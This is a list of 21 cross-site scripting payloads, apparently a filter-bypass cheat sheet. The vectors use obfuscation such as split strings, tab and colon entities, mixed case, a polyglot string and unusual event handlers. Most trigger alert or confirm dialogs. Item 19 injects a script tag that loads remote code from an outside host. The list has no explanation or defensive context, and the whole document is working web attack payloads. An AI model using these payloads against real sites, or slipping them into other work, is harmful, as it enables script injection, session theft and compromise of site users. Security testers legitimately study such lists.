XSS

1. <bleh/onclick=top[/al/.source+/ert/.source]&Tab;``>click
2. <code onmouseover=a=eval;b=alert;a(b(/g/.source));>HI</code>
3. <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
4. jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
5. <script>top[`al`+`ert`](1);</script>
6. <img src="x" onerror="top[`al` + `ert`](1);">
7. <svg onload='top["al"+"ert"](1);'>
8. <video/src/onerror=[1].findIndex(alert);>
9. <input type="hidden" accesskey="X" onclick="alert(1)";>按Alt+SHIFT+X 触发
10. "onx+%00+onpointerenter%3dalert(1)+x"
11. <a"/onclick=(confirm)()>click
12. <a/href=javascript&colon;alert()>click
13. <a/href=&#74;ava%0a%0d%09script&colon;alert()>click
14. <d3v/onauxclick=[2].some(confirm)>click
15. <d3v/onauxclick=(((confirm)))``>click
16. <d3v/onmouseleave=[2].some(confirm)>click
17. <details/open/ontoggle=alert()>
18. <details/open/ontoggle=(confirm)()//
19. "></script><img src onerror=with(document)body.appendChild(createElement('script')).src='//bx.ss'>
20. < img src onerror=%26emsp;prompt`${document.domain}`>
21. "onmouseover=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)" a="